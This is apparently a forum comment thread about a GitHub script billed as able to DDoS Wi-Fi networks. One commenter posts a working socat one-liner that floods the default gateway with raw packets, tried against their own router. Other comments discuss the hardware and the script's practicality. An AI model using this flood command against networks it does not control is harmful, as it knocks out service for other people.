DDoS any Wi-Fi network with just 7 lines of Python
github.com
github.com
Still, that's fun to play with! Here's my go.
My router (a flaky Netgear DG834GU I'm definitely upgrading when I get the chance) does NOT like the following snippet which floods NULs over ICMP (it took a few seconds for Google to become re-pingable):
yes "$(printf '%16s' $'\0')" | pv | sudo socat stdin ip-sendto:$(route -n | \
sed -n '/^\(0\.\)\{2\}/{s/[^ ]\+ \+\([^ ]\+\).*/\1/;p;q}'):1
The call to pipeviewer is only to show I/O rate and can be removed, and the subshell call to `route' and `sed' is just to fish out the first listed gateway; you might want to substitute a specific IP address.IMHO the moral of this post is that it's a testament to socat's power that I got to the above point with only a few minutes' tinkering; I know nothing about networking. :D
(Sidenote: `yes`ing different string widths produces wildly different results; 16 bytes produces 1GB/s+ of data on this old box, everything either side of that is just MB/s. I wonder why?)
Not too practical in real-world use - if the link speed is slow, getting the connections successfully ESTABLISHED is going to take a few minutes - but the educational value is certainly noteworthy.
Whenever you get to the next step from any of them you just advance. It's beautiful.
I'm running a TL-WDR3600[1] with OpenWRT.
In most 'professional' settings, all of these things are actually completely different devices with clear purposes, and this script would actually do nothing against a router. It might freak out some APs, but that's about it.
...and two libraries. Still cool, but come on
edit: also, pip isn't a library, it's a package manager.